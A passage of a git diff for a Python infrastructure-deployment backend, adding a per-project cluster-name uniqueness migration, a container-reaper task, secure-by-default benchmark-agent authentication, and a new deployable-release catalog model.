Postgres, NULLs are distinct in a unique +constraint, so two project-less (hand-registered / global) clusters may +share a name. That is the intended reading: tenancy is the project, and a +cluster with no project has no tenant to collide within. SQLite behaves +the same way. + +The global index was created implicitly by unique=True on the column, so +its name is DB-generated (kubernetes_clusters_name_key on Postgres; SQLite +uses an unnamed autoindex). Dropping by the explicit SQLAlchemy constraint +name is not portable, so the upgrade inspects for it; on SQLite the table +is recreated via batch_alter_table, which is the only way to drop a column +constraint there. +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_153" +down_revision = "v2_152" +branch_labels = None +depends_on = None + +_TABLE = "kubernetes_clusters" +_NEW = "uq_kubernetes_clusters_project_name" + + +def _find_global_name_unique(bind) -> str | None: + """Return the name of the single-column unique on `name`, if any.""" + insp = sa.inspect(bind) + for uc in insp.get_unique_constraints(_TABLE): + if uc.get("column_names") == ["name"]: + return uc.get("name") + for ix in insp.get_indexes(_TABLE): + if ix.get("unique") and ix.get("column_names") == ["name"]: + return ix.get("name") + return None + + +def upgrade() -> None: + bind = op.get_bind() + dialect = bind.dialect.name + old = _find_global_name_unique(bind) + + if dialect == "sqlite": + # SQLite cannot ALTER a column's unique-ness in place; batch mode + # recreates the table from the REFLECTED schema. Be precise about what + # actually drops the old unique here, because it is not the + # drop_constraint below: SQLite reflection does not surface a + # column-level UNIQUE at all (_find_global_name_unique returns None on + # a table created with `name ... UNIQUE`), so `old` is usually None and + # that branch is skipped. The recreate rebuilds `name` from the + # reflected Column, which carries no unique flag -- and THAT is what + # removes it. Verified on the post-upgrade DDL: `name VARCHAR(255) NOT + # NULL` with no UNIQUE, composite present. The drop_constraint stays + # for the case where the unique WAS reflectable (a named constraint + # from an older explicit migration); it is belt-and-braces, not the + # mechanism. test_v2_153 asserts the end state, not the path. + with op.batch_alter_table(_TABLE, recreate="always") as batch: + if old: + batch.drop_constraint(old, type_="unique") + batch.create_unique_constraint(_NEW, ["project_id", "name"]) + # The plain lookup index on name must survive the recreate. + op.create_index("ix_kubernetes_clusters_name", _TABLE, ["name"], if_not_exists=True) + return + + if old: + # Postgres: a column-level UNIQUE lands in pg_constraint as contype='u' + # named kubernetes_clusters_name_key, and the dialect's + # get_unique_constraints reads pg_catalog.pg_constraint -- so the finder + # DOES return it here, unlike SQLite, and this drop is the real + # mechanism on this path. Some older stacks may carry it as a unique + # index instead -- try both shapes. + # Decide the shape from inspection rather than try/except-on-anything: + # a bare `except Exception` would swallow a permissions or lock error + # and then create the composite OVER a still-present global unique, + # leaving the DB with both and the bug intact. + insp = sa.inspect(bind) + is_constraint = any(uc.get("name") == old for uc in insp.get_unique_constraints(_TABLE)) + if is_constraint: + op.drop_constraint(old, _TABLE, type_="unique") + else: + op.drop_index(old, table_name=_TABLE, if_exists=True) + # Refuse to continue if it is somehow still there: creating the composite + # alongside a surviving global unique would be a silent no-fix. + if _find_global_name_unique(bind) is not None: + raise RuntimeError( + f"v2_153: global unique {old!r} on {_TABLE}.name survived the drop; " + "refusing to add the composite on top of it" + ) + op.create_unique_constraint(_NEW, _TABLE, ["project_id", "name"]) + # Keep name cheaply searchable without uniqueness (the global unique + # doubled as the lookup index; this restores that). + op.create_index("ix_kubernetes_clusters_name", _TABLE, ["name"], unique=False, if_not_exists=True) + + +def downgrade() -> None: + bind = op.get_bind() + dialect = bind.dialect.name + if dialect == "sqlite": + with op.batch_alter_table(_TABLE, recreate="always") as batch: + batch.drop_constraint(_NEW, type_="unique") + batch.create_unique_constraint("kubernetes_clusters_name_key", ["name"]) + return + op.drop_constraint(_NEW, _TABLE, type_="unique") + op.drop_index("ix_kubernetes_clusters_name", table_name=_TABLE, if_exists=True) + # Restoring the global unique can FAIL if two projects now share a name. + # That is correct: downgrading would reintroduce the cross-tenant + # collision, and the operator must rename first. Let it raise. + op.create_unique_constraint("kubernetes_clusters_name_key", _TABLE, ["name"]) diff --git a/backend/celery_app.py b/backend/celery_app.py index 776dbe37..2d42a89f 100644 --- a/backend/celery_app.py +++ b/backend/celery_app.py @@ -40,7 +40,7 @@ "bnk_forge", broker=CELERY_BROKER_URL, backend=CELERY_RESULT_BACKEND, - include=["tasks.opentofu_tasks", "tasks.kubernetes_tasks", "tasks.ansible_tasks", "tasks.ssh_tasks", "tasks.tmos_tasks", "tasks.cli_tasks", "tasks.bnk_upgrade_tasks", "tasks.drift_tasks", "tasks.stack_tasks", "tasks.parallel_tasks", "tasks.heartbeat_task", "tasks.health_monitor_task", "tasks.operator_cleanup_task", "tasks.proxy_deploy_tasks", "tasks.proxy_migration_tasks", "tasks.bare_metal_tasks", "tasks.dpu_tasks", "tasks.backend_health_task", "tasks.registry_smoke_test", "tasks.registry_update_poller", "tasks.cluster_scan_task", "tasks.helm_tasks", "tasks.fleet_tasks", "tasks.notification_retention_task", "tasks.benchmark_agent_tasks", "tasks.container_tasks"] + include=["tasks.opentofu_tasks", "tasks.kubernetes_tasks", "tasks.ansible_tasks", "tasks.ssh_tasks", "tasks.tmos_tasks", "tasks.cli_tasks", "tasks.bnk_upgrade_tasks", "tasks.drift_tasks", "tasks.stack_tasks", "tasks.parallel_tasks", "tasks.heartbeat_task", "tasks.health_monitor_task", "tasks.operator_cleanup_task", "tasks.proxy_deploy_tasks", "tasks.proxy_migration_tasks", "tasks.bare_metal_tasks", "tasks.dpu_tasks", "tasks.backend_health_task", "tasks.registry_smoke_test", "tasks.registry_update_poller", "tasks.cluster_scan_task", "tasks.helm_tasks", "tasks.fleet_tasks", "tasks.notification_retention_task", "tasks.benchmark_agent_tasks", "tasks.container_tasks", "tasks.container_reaper"] ) # Celery configuration @@ -130,6 +130,13 @@ 'task': 'tasks.health_monitor_task.check_cluster_health', 'schedule': 60.0, # Every 60 seconds — fires alerts on severity change }, + 'reap-orphaned-step-containers': { + 'task': 'tasks.container_reaper.reap_orphaned_step_containers', + # Every 10 minutes. This is the backstop for an orphan whose step is + # never retried; the dangerous case (orphan racing its own retry on + # one workspace) is closed synchronously in the runner, not here. + 'schedule': 600.0, + }, 'operator-cleanup': { 'task': 'tasks.operator_cleanup_task.cleanup_stale_operators_and_commands', 'schedule': 120.0, # Every 2 minutes — mark stale operators + expire old commands diff --git a/backend/core/config.py b/backend/core/config.py index 079b4242..78d44c58 100644 --- a/backend/core/config.py +++ b/backend/core/config.py @@ -107,7 +107,13 @@ def cors_origins(self) -> list[str]: # When True: register + ingest require a valid bearer token; WS validates ?token= and # checks the agent_id claim matches the path. The built-in forge-agent always sends a # token so flipping this flag on is a no-op for it. - BENCHMARK_AGENT_AUTH_REQUIRED: bool = False + # Secure by default (#148). The agent-facing endpoints -- POST + # /api/benchmarks/results, /results/aiperf and /agents -- mutate + # control-plane state; with this off they accept unauthenticated writes. + # The built-in forge-agent gets a bootstrap token minted at startup + # (mint_builtin_agent_token_step) so a default deployment keeps working. + # Set to false explicitly to restore the open curl flow on a trusted network. + BENCHMARK_AGENT_AUTH_REQUIRED: bool = True # External URL that remote benchmark agents use to reach Forge. # Must be set before SSH-provisioning a managed agent host. diff --git a/backend/core/errors.py b/backend/core/errors.py index 1dbb01c3..0cbd2f52 100644 --- a/backend/core/errors.py +++ b/backend/core/errors.py @@ -77,12 +77,20 @@ def __init__(self, message: str = "Insufficient permissions"): class ConflictError(AppError): """Resource conflict (409)""" - def __init__(self, resource: str, message: str): + def __init__(self, resource: str, message: str, details: dict | None = None): + # `details` is optional and merged over the resource key, so a caller can + # return the specific conflicting objects (e.g. which modules are still + # undestroyed) rather than only a message the client has to parse. + # + # Merge order: `details` wins. Passing details={"resource": ...} therefore + # overrides the value derived from the `resource` argument -- deliberate, + # so a caller can name the conflicting resource more precisely, but worth + # knowing before you pass that key by accident. super().__init__( code=f"{resource.upper()}_CONFLICT", message=message, status_code=409, - details={"resource": resource}, + details={"resource": resource, **(details or {})}, ) diff --git a/backend/core/maintenance.py b/backend/core/maintenance.py index b5d695f1..a5133443 100644 --- a/backend/core/maintenance.py +++ b/backend/core/maintenance.py @@ -66,6 +66,14 @@ def get_maintenance_status() -> dict[str, str] | None: except (RuntimeError, redis.ConnectionError, redis.RedisError): # Redis not configured or unreachable — treat as not in maintenance return None + except (TypeError, ValueError): + # The key held something json.loads() could not read. This function runs + # from maintenance_middleware on EVERY request, so letting that escape + # turns one bad value into a 500 for the entire API. Degrade to "not in + # maintenance", which is what this function already promises to do when + # it cannot get an answer from Redis. + logger.warning("Ignoring unparseable value under %s", MAINTENANCE_KEY) + return None return None diff --git a/backend/data/blueprints/bnk-bare-metal-full-poc/forge-blueprint.json b/backend/data/blueprints/bnk-bare-metal-full-poc/forge-blueprint.json index efdd7bd4..b7705a5a 100644 --- a/backend/data/blueprints/bnk-bare-metal-full-poc/forge-blueprint.json +++ b/backend/data/blueprints/bnk-bare-metal-full-poc/forge-blueprint.json @@ -3,8 +3,8 @@ "blueprint": { "id": "bnk-bare-metal-full-poc", "version": "1.0.0", - "name": "DPU + BNK 2.2 Full PoC (All-in-One)", - "description": "End-to-end: DPU flash \u2192 K8s cluster \u2192 BNK 2.2 platform in one blueprint. For step-by-step control, use DPU Infrastructure + BNK Platform separately." + "name": "DPU + BNK Full PoC (All-in-One)", + "description": "End-to-end: DPU flash \u2192 K8s cluster \u2192 BNK platform in one blueprint. For step-by-step control, use DPU Infrastructure + BNK Platform separately." }, "category": "bare-metal", "cloud_provider": null, diff --git a/backend/data/stack_templates.json b/backend/data/stack_templates.json index 15249b36..18c0fca2 100644 --- a/backend/data/stack_templates.json +++ b/backend/data/stack_templates.json @@ -1298,9 +1298,9 @@ "forked_from": null }, { - "name": "DPU + BNK 2.2 Full PoC (All-in-One)", + "name": "DPU + BNK Full PoC (All-in-One)", "slug": "bnk-bare-metal-full-poc", - "description": "End-to-end: DPU flash → K8s cluster → BNK 2.2 platform in one blueprint. For step-by-step control, use DPU Infrastructure + BNK Platform separately.", + "description": "End-to-end: DPU flash → K8s cluster → BNK platform in one blueprint. For step-by-step control, use DPU Infrastructure + BNK Platform separately.", "category": "bare-metal", "cloud_provider": null, "icon": "cpu", @@ -1589,9 +1589,9 @@ "forked_from": null }, { - "name": "DPU + BNK 2.2 Full PoC (SSH BNK layer)", + "name": "DPU + BNK Full PoC (SSH BNK layer)", "slug": "bnk-bare-metal-full-poc-ssh", - "description": "End-to-end DPU + BNK 2.2 PoC where the BNK layer (modules 18-25) runs over SSH (on-host sudo kubectl/helm) instead of kubernetes-direct/operator/OpenTofu. For constrained bare-metal DPU servers with no routable cluster API. ADR-204.", + "description": "End-to-end DPU + BNK PoC where the BNK layer (modules 18-25) runs over SSH (on-host sudo kubectl/helm) instead of kubernetes-direct/operator/OpenTofu. For constrained bare-metal DPU servers with no routable cluster API. ADR-204.", "category": "bare-metal", "cloud_provider": null, "icon": "cpu", @@ -1774,6 +1774,13 @@ "instance_namespace": "f5-bnk" } }, + { + "path": "bare-metal/bnk-license", + "name": "BNK License CR [SSH]", + "required": true, + "description": "Creates License CR for CWC (BNK 2.3+); no-op for 2.2 — FLO helm path (ADR-478)", + "variables": {} + }, { "path": "bare-metal/bnk-vlans", "name": "BNK VLANs [SSH]", diff --git a/backend/entrypoint.sh b/backend/entrypoint.sh index 87fb17e9..d6760189 100644 --- a/backend/entrypoint.sh +++ b/backend/entrypoint.sh @@ -9,7 +9,7 @@ echo "================================================" # Docker volumes are created as root, but we run as bnkforge (uid 1000) # The Makefile install target handles permissions, but we also check here # in case the container is started directly -DIRS_TO_CHECK="/app/state /app/keys /app/projects /app/workspaces /app/helm_charts /app/bfb-cache" +DIRS_TO_CHECK="/app/state /app/keys /app/agent-token /app/projects /app/workspaces /app/helm_charts /app/bfb-cache" for dir in $DIRS_TO_CHECK; do if [ -d "$dir" ] && [ ! -w "$dir" ]; then echo "Warning: $dir is not writable by bnkforge user" diff --git a/backend/main.py b/backend/main.py index e0ba84ee..c0fad42c 100644 --- a/backend/main.py +++ b/backend/main.py @@ -49,9 +49,9 @@ from routes.api import router as api_router from routes.audit import router as audit_router from routes.auth import router as auth_router +from routes.bare_metal_deployable_releases import router as bare_metal_deployable_releases_router from routes.bare_metal_deployments import router as bare_metal_deployments_router from routes.bare_metal_hosts import router as bare_metal_hosts_router -from routes.bare_metal_version_profiles import router as bare_metal_version_profiles_router from routes.benchmarks import router as benchmarks_router from routes.benchmarks import ws_router as benchmarks_ws_router from routes.bf_conf_templates import router as bf_conf_templates_router @@ -103,6 +103,7 @@ from routes.projects import router as projects_router from routes.qkview import router as qkview_router from routes.registry import router as registry_router +from routes.release_sources import router as release_sources_router from routes.runbooks import router as runbooks_router from routes.snapshots import router as snapshots_router from routes.ssh_credentials import router as ssh_credentials_router @@ -112,6 +113,7 @@ from routes.system import router as system_router from routes.tasks import router as tasks_router from routes.tasks import ws_router as tasks_ws_router +from routes.usecase_artifacts import router as usecase_artifacts_router # Get logger (logging already configured via configure_logging above) logger = logging.getLogger(__name__) @@ -128,10 +130,12 @@ async def lifespan(app: FastAPI): cleanup_stale_state_step, init_database_step, init_ssh_tunnel_manager_step, + mint_builtin_agent_token_step, populate_service_registry_step, seed_auth_step, seed_cli_bnkctl_modules_step, seed_defaults_step, + seed_deployable_releases_step, seed_k8s_builtin_modules_step, seed_python_modules_step, seed_stack_templates_step, @@ -164,12 +168,14 @@ async def lifespan(app: FastAPI): BEST_EFFORT_STEPS = [ ("System defaults", seed_defaults_step), + ("BNK deployable releases", seed_deployable_releases_step), ("Python module catalog", seed_python_modules_step), ("k8s builtin modules", seed_k8s_builtin_modules_step), ("Module catalog sync", sync_module_catalog_step), ("cli-bnkctl modules", seed_cli_bnkctl_modules_step), ("Stack templates", seed_stack_templates_step), ("Auth", seed_auth_step), + ("Built-in agent token", mint_builtin_agent_token_step), ("Stale state cleanup", cleanup_stale_state_step), ("Scheduler", lambda: start_scheduler_step(scheduler)), ("SSH tunnel manager", init_ssh_tunnel_manager_step), @@ -360,7 +366,8 @@ async def dispatch(self, request: Request, call_next): app.include_router(f5_devices_router) # F5 BIG-IP devices — CRUD + read-only probe (D-023 P1) app.include_router(f5_credentials_router) # F5 BIG-IP credentials — CRUD + test (D-023 P1) app.include_router(bare_metal_deployments_router) # Bare-metal deployments — lifecycle -app.include_router(bare_metal_version_profiles_router) # BNK version profiles — version matrix +app.include_router(bare_metal_deployable_releases_router) # BNK deployable releases — version catalog (ADR-478) +app.include_router(release_sources_router) # BNK release sources — management + sync (ADR-494) app.include_router(bluefield_images_router) # DPU Provisioning — BFB image catalog app.include_router(bf_conf_templates_router) # DPU Provisioning — bf.conf template catalog app.include_router(dpus_router) # DPU Provisioning — per-project DPUs + settings @@ -400,6 +407,7 @@ async def dispatch(self, request: Request, call_next): app.include_router(operator_polling_router) # Operator polling — HTTP-based command dispatch app.include_router(alert_channels_router) # Alert channels — webhook/Slack/Teams notifications app.include_router(config_export_router) # Config export/import/diff — cluster config snapshots +app.include_router(usecase_artifacts_router) # Use-case artifacts — capture/render/apply/drift (D-034 P0) app.include_router(bnk_upgrade_router) # BNK upgrade workflow — version upgrades with health gates app.include_router(runbooks_router) # Runbook automation — diagnostic sequences for common BNK issues app.include_router(licensing_router) # BNK licensing — CWC license status, activation, telemetry via operator diff --git a/backend/models/__init__.py b/backend/models/__init__.py index fdf18e65..0454ba8b 100644 --- a/backend/models/__init__.py +++ b/backend/models/__init__.py @@ -21,7 +21,7 @@ ) # --- Bare Metal (DPU Deployment) --- -from models.bare_metal import BareMetalDeployment, BareMetalHost, BnkVersionProfile, DeploymentStep +from models.bare_metal import BareMetalDeployment, BareMetalHost, DeploymentStep # --- Benchmarks (Phase 2: AI Performance Dashboard, Phase 4b: Targets) --- from models.benchmark import ( @@ -39,6 +39,9 @@ BlueprintSource, ) +# --- BNK Deployable Release catalog (ADR-478) --- +from models.bnk_deployable_release import BnkDeployableRelease + # --- BNK Release Registry (issue #217) --- from models.bnk_release import ( BnkRelease, @@ -111,6 +114,7 @@ ParallelExecutionStatus, ProxyDeploymentStatus, ProxyMigrationStatus, + ReleaseSourceKind, ReleaseSourceType, StackInstanceStatus, SyncJobStatus, @@ -138,6 +142,7 @@ # --- Kubernetes and F5 BNK networking --- from models.kubernetes import ( + BnkClusterConfig, EgressConfiguration, FirewallPolicy, K8sGateway, @@ -179,6 +184,9 @@ # --- Proxy Migration (D-021 P3) --- from models.proxy_migration import ProxyMigration, ProxyMigrationStep +# --- BNK Release Source (ADR-494) --- +from models.release_source import ReleaseSource + # --- SSH Credentials (first-class on-prem/bastion access) --- from models.ssh_credential import SSHCredential @@ -206,6 +214,13 @@ Task, ) +# --- Use-Case Artifacts (D-034 Phase 0 tracer) --- +from models.usecase_artifact import ( + UseCaseApplication, + UseCaseArtifact, + UseCaseArtifactVersion, +) + # --- Variable mappings --- from models.variable import ( VariableMapping, @@ -217,14 +232,14 @@ # enums "TaskStatus", "ModuleStatus", "ParallelExecutionStatus", "StackInstanceStatus", "DiscoveryJobStatus", "DiscoveredNodeStatus", - "DriftCheckStatus", "BnkUpgradeStatus", "ReleaseSourceType", "ClusterStatus", + "DriftCheckStatus", "BnkUpgradeStatus", "ReleaseSourceKind", "ReleaseSourceType", "ClusterStatus", "K8sResourceStatus", "OperatorStatus", "OperatorCommandStatus", "AlertStatus", "SyncJobStatus", "ModuleSyncStatus", "ModuleTestStatus", "DeploymentStatus", "BlueprintReleaseState", "BlueprintValidationState", "BareMetalDeploymentStatus", "BareMetalTopology", "DeploymentPhase", "DeploymentStepStatus", "HostAccessTier", "ProxyMigrationStatus", "MigrationStepStatus", # kubernetes - "KubernetesCluster", "K8sGateway", "FirewallPolicy", "EgressConfiguration", "SnatPool", + "KubernetesCluster", "BnkClusterConfig", "K8sGateway", "FirewallPolicy", "EgressConfiguration", "SnatPool", # project "Project", "ProjectModule", "ProjectSecret", "Environment", "Deployment", "DeploymentLog", "ModuleStateTransition", @@ -273,7 +288,9 @@ # discovery "DiscoveryJob", "DiscoveredNode", # bare metal (DPU deployment) - "BareMetalHost", "BareMetalDeployment", "DeploymentStep", "BnkVersionProfile", + "BareMetalHost", "BareMetalDeployment", "DeploymentStep", "BnkDeployableRelease", + # release source (ADR-494) + "ReleaseSource", # proxy migration (D-021 P3) "ProxyMigration", "ProxyMigrationStep", # DPU provisioning (Blueprint 1) @@ -289,4 +306,6 @@ # fleet policy + compliance (D-022 Phase 3) "FleetPolicy", "PolicyEvaluation", + # use-case artifacts (D-034 Phase 0 tracer) + "UseCaseArtifact", "UseCaseArtifactVersion", "UseCaseApplication", ] diff --git a/backend/models/bare_metal.py b/backend/models/bare_metal.py index 242245ee..a3177eb6 100644 --- a/backend/models/bare_metal.py +++ b/backend/models/bare_metal.py @@ -70,8 +70,8 @@ class BareMetalHost(Base): host_mgmt_ip = Column(String(255), nullable=True) # CIDR notation dpu_mgmt_ip = Column(String(255), nullable=True) # CIDR notation (optional) - # Target BNK version - version_profile_id = Column(Integer, ForeignKey("bnk_version_profiles.id", ondelete="SET NULL"), nullable=True) + # Target BNK release (pre-fill anchor; column name kept stable per ADR-478 Option A) + version_profile_id = Column(Integer, ForeignKey("bnk_deployable_release.id", ondelete="SET NULL"), nullable=True) # Hardware discovery cache (updated by discovery) os_info = Column(JSON, nullable=True) # {os_type, os_version, kernel, arch} @@ -98,6 +98,12 @@ class BareMetalHost(Base): rshim_source = Column(String(20), nullable=True) # "host" | "bmc" bond_mode = Column(String(20), nullable=True) # "independent" | "lag" + # Host-level tmfifo MAC base override (ADR-478 / BM2-005). + # When set, all DPUs flashed on this host enumerate their NET_RSHIM_MAC + # from this base (e.g. "00:1a:ca:ff:ff:2") instead of the default + # "00:1a:ca:ff:ff:1". Unset (None) = use the default base. + net_rshim_mac_base = Column(String(50), nullable=True) + # Full discovery result cache (for UI re-display without re-probing) last_discovery_result = Column(JSON, nullable=True) # Complete BareMetalDiscoveryResponse dict @@ -105,6 +111,7 @@ class BareMetalHost(Base): kubernetes_cluster_id = Column( Integer, ForeignKey("kubernetes_clusters.id", ondelete="SET NULL"), nullable=True ) + is_control_plane = Column(Boolean, default=False, nullable=False, server_default="false") created_at = Column(DateTime(timezone=True), server_default=func.now()) updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) @@ -127,7 +134,7 @@ class BareMetalHost(Base): ) ssh_credential = relationship("SSHCredential", foreign_keys=[ssh_credential_id]) dpu_credential = relationship("SSHCredential", foreign_keys=[dpu_credential_id]) - version_profile = relationship("BnkVersionProfile", foreign_keys=[version_profile_id]) + version_profile = relationship("BnkDeployableRelease", foreign_keys=[version_profile_id]) kubernetes_cluster = relationship("KubernetesCluster", foreign_keys=[kubernetes_cluster_id]) deployments = relationship( "BareMetalDeployment", back_populates="host", @@ -153,6 +160,11 @@ class BareMetalDeployment(Base): topology = Column(String(50), nullable=False) version_profile_snapshot = Column(JSON, nullable=True) # Snapshot of version profile at start + # Deployable release selected for this deployment (nullable — legacy rows pre-ADR-478 have NULL) + deployable_release_id = Column( + Integer, ForeignKey("bnk_deployable_release.id", ondelete="SET NULL"), nullable=True + ) + # State machine status = Column( String(50), default=BareMetalDeploymentStatus.PENDING, @@ -190,6 +202,7 @@ class BareMetalDeployment(Base): # Relationships host = relationship("BareMetalHost", back_populates="deployments") project = relationship("Project") + deployable_release = relationship("BnkDeployableRelease", foreign_keys=[deployable_release_id]) steps = relationship( "DeploymentStep", back_populates="deployment", cascade="all, delete-orphan", order_by="DeploymentStep.step_index", @@ -258,50 +271,3 @@ class DeploymentStep(Base): ) -class BnkVersionProfile(Base): - """Coordinated component version matrix for a BNK release.""" - - __tablename__ = "bnk_version_profiles" - - id = Column(Integer, primary_key=True, index=True) - - # Identity - name = Column(String(100), nullable=False, unique=True, index=True) # e.g., "bnk-2.1", "bnk-2.2" - display_name = Column(String(255), nullable=False) # e.g., "BNK 2.1 (GA)" - description = Column(Text, nullable=True) - is_default = Column(Boolean, default=False) - - # Core versions - bnk_manifest_version = Column(String(50), nullable=False) - bnk_cr_kind = Column(String(50), nullable=False) # "BNKGatewayClass" or "CNEInstance" - flo_version = Column(String(50), nullable=False) - k8s_version = Column(String(50), nullable=False) - doca_version = Column(String(50), nullable=False) - - # Runtime versions - containerd_version = Column(String(50), nullable=False) - runc_version = Column(String(50), nullable=False) - - # Ecosystem versions - calico_version = Column(String(50), nullable=False) - cert_manager_version = Column(String(50), nullable=False) - gateway_api_version = Column(String(50), nullable=False) - multus_version = Column(String(50), nullable=False) - sriov_version = Column(String(50), nullable=False) - - # Storage - storage_class_type = Column(String(50), nullable=False) # "local-path" or "nfs" - storage_provisioner = Column(String(255), nullable=False) - - # Feature flags - feature_flags = Column(JSON, nullable=True) # {"ipv6": false, "tmm_node_labels": true, ...} - - # Full version manifest (catch-all for additional components) - full_manifest = Column(JSON, nullable=True) - - created_at = Column(DateTime(timezone=True), server_default=func.now()) - updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) - - __table_args__ = ( - Index("idx_version_profile_default", "is_default"), - ) diff --git a/backend/models/benchmark.py b/backend/models/benchmark.py index a7274029..91a4c9e2 100644 --- a/backend/models/benchmark.py +++ b/backend/models/benchmark.py @@ -78,6 +78,10 @@ class BenchmarkRun(Base): scenario_key = Column(String(100), nullable=True, index=True) # e.g. "prefix-cache" variant_label = Column(String(100), nullable=True) # e.g. "cfg1-c100", "warmup", "trace" + # Baseline flag — marks the reference run for its (target_id, scenario_key, config_id, proxy, variant_label) + # context. Only one baseline per context; enforced in BenchmarkService.set_baseline. + is_baseline = Column(Boolean, nullable=False, default=False, server_default="false", index=True) + # Status lifecycle status = Column(String(50), default=BenchmarkRunStatus.PENDING, nullable=False, index=True) error_message = Column(Text, nullable=True) diff --git a/backend/models/bnk_deployable_release.py b/backend/models/bnk_deployable_release.py new file mode 100644 index 00000000..5649cc2b --- /dev/null +++ b/backend/models/bnk_deployable_release.py @@ -0,0 +1,91 @@ +"""BnkDeployableRelease model — deployable BNK release catalog (ADR-478).""" + +from sqlalchemy import JSON, Boolean, Column, DateTime, ForeignKey, Index, Integer, String, Text +from sqlalchemy.orm import relationship +from sqlalchemy.sql import func + +from database import Base +from models.enums import ReleaseSourceType + + +class BnkDeployableRelease(Base): + """ + A deployable BNK release — the full component version matrix required to + deploy BNK onto a bare-metal host. + + Each row represents one deployable release (e.g. "bnk-2.2", "bnk-2.3.1"). + The optional bnk_release_id FK links to the BnkRelease GA-label row for + display purposes only; it does not affect deployment logic. + + Seeded by the BnkDeployableReleaseService; admin rows have source_type=manual. + """ + + __tablename__ = "bnk_deployable_release" + + id = Column(Integer, primary_key=True, index=True) + + # Identity + name = Column(String(100), nullable=False, unique=True, index=True) # e.g. "bnk-2.2", "bnk-2.3.1" + display_name = Column(String(255), nullable=False) # e.g. "BNK 2.2 (GA)" + description = Column(Text, nullable=True) + is_default = Column(Boolean, default=False) + is_active = Column(Boolean, default=True) + + # Provenance + source_type = Column(String(30), nullable=False, default=ReleaseSourceType.MANUAL) + + # GA-label link (display only — does not gate deployment) + bnk_release_id = Column( + Integer, + ForeignKey("bnk_releases.id", ondelete="SET NULL"), + nullable=True, + ) + + # Core versions + bnk_manifest_version = Column(String(50), nullable=False) + bnk_cr_kind = Column(String(50), nullable=False) # e.g. "CNEInstance" + flo_version = Column(String(50), nullable=False) + k8s_version = Column(String(50), nullable=False) + doca_version = Column(String(50), nullable=False) + + # Runtime versions + containerd_version = Column(String(50), nullable=False) + runc_version = Column(String(50), nullable=False) + + # Ecosystem versions + calico_version = Column(String(50), nullable=False) + cert_manager_version = Column(String(50), nullable=False) + gateway_api_version = Column(String(50), nullable=False) + multus_version = Column(String(50), nullable=False) + sriov_version = Column(String(50), nullable=False) + + # Storage + storage_class_type = Column(String(50), nullable=False) # "local-path" or "nfs" + storage_provisioner = Column(String(255), nullable=False) + + # Feature flags + feature_flags = Column(JSON, nullable=True) # {"ipv6": false, "tmm_node_labels": true, ...} + + # Full version manifest (catch-all for additional components) + full_manifest = Column(JSON, nullable=True) + + # Source provenance (ADR-494) — which ReleaseSource this entry was synced from + source_id = Column( + Integer, + ForeignKey("release_source.id", ondelete="SET NULL"), + nullable=True, + ) + last_synced = Column(DateTime(timezone=True), nullable=True) + + created_at = Column(DateTime(timezone=True), server_default=func.now()) + updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) + + # Relationships + bnk_release = relationship("BnkRelease", foreign_keys=[bnk_release_id]) + source = relationship("ReleaseSource") + + __table_args__ = ( + Index("idx_bnk_deployable_release_default", "is_default"), + Index("idx_bnk_deployable_release_active", "is_active"), + Index("idx_bnk_deployable_release_name", "name"), + ) diff --git a/backend/models/dpu.py b/backend/models/dpu.py index 75b53237..2a39ffed 100644 --- a/backend/models/dpu.py +++ b/backend/models/dpu.py @@ -294,11 +294,19 @@ class Dpu(Base): created_at = Column(DateTime(timezone=True), server_default=func.now()) updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) + # Kubernetes Cluster membership & persisted tmfifo link allocation (ADR-424) + kubernetes_cluster_id = Column( + Integer, ForeignKey("kubernetes_clusters.id", ondelete="SET NULL"), nullable=True + ) + host_tmfifo_ip = Column(String(64), nullable=True) + dpu_tmfifo_ip = Column(String(64), nullable=True) + # Same cascade pattern as ProjectDpuSettings — defer to DB ON DELETE CASCADE. project = relationship( "Project", backref=backref("dpus", cascade="all, delete-orphan", passive_deletes=True), ) + kubernetes_cluster = relationship("KubernetesCluster", foreign_keys=[kubernetes_cluster_id]) __table_args__ = ( # A given BMC IP may only be registered once per project, but only @@ -317,4 +325,18 @@ class Dpu(Base): unique=True, postgresql_where=text("access_mode = 'in-band'"), ), + # ADR-424: uniqueness backstop for concurrent IPAM allocation. + # Ensures (cluster, dpu_tmfifo_ip) is unique when a DPU IP is allocated. + # Concurrent races in allocate_next_subnet become IntegrityError instead + # of silent duplicate IP allocation (D-001 bug class). + Index( + "ix_dpus_cluster_tmfifo_ip", + "kubernetes_cluster_id", "dpu_tmfifo_ip", + unique=True, + postgresql_where=text("dpu_tmfifo_ip IS NOT NULL"), + ), + # Plain index for membership queries, before_delete UPDATE, and reconcile + # (all of which filter WHERE kubernetes_cluster_id = X over NULL-tmfifo rows + # that the partial unique index above does not cover). + Index("ix_dpus_kubernetes_cluster_id", "kubernetes_cluster_id"), ) diff --git a/backend/models/enums.py b/backend/models/enums.py index fcd0ec4f..981e83de 100644 --- a/backend/models/enums.py +++ b/backend/models/enums.py @@ -690,6 +690,19 @@ class ReleaseSourceType(StrEnum): MANUAL = "manual" # Hand-entered by an admin +# --------------------------------------------------------------------------- +# ReleaseSourceKind — the kind of a first-class ReleaseSource entity (ADR-494) +# DISTINCT from ReleaseSourceType above, which tracks provenance of BnkRelease rows. +# --------------------------------------------------------------------------- + +class ReleaseSourceKind(StrEnum): + """The transport kind of a ReleaseSource — where the Catalog syncs releases from.""" + + OCI = "oci" # OCI registry (repo.f5.com or compatible) + MIRROR = "mirror" # Air-gapped mirror / proxy registry + MANUAL = "manual" # No sync; releases are hand-entered by an admin + + # --------------------------------------------------------------------------- # Module-level convenience constants # --------------------------------------------------------------------------- diff --git a/backend/models/kubernetes.py b/backend/models/kubernetes.py index 92c4a427..b12c2be7 100644 --- a/backend/models/kubernetes.py +++ b/backend/models/kubernetes.py @@ -1,6 +1,18 @@ """Kubernetes cluster and F5 BNK networking models.""" -from sqlalchemy import JSON, Boolean, Column, DateTime, ForeignKey, Index, Integer, String, Text +from sqlalchemy import ( + JSON, + Boolean, + Column, + DateTime, + ForeignKey, + Index, + Integer, + String, + Text, + UniqueConstraint, + event, +) from sqlalchemy.orm import relationship from sqlalchemy.sql import func @@ -13,7 +25,10 @@ class KubernetesCluster(Base): __tablename__ = "kubernetes_clusters" id = Column(Integer, primary_key=True, index=True) - name = Column(String(255), 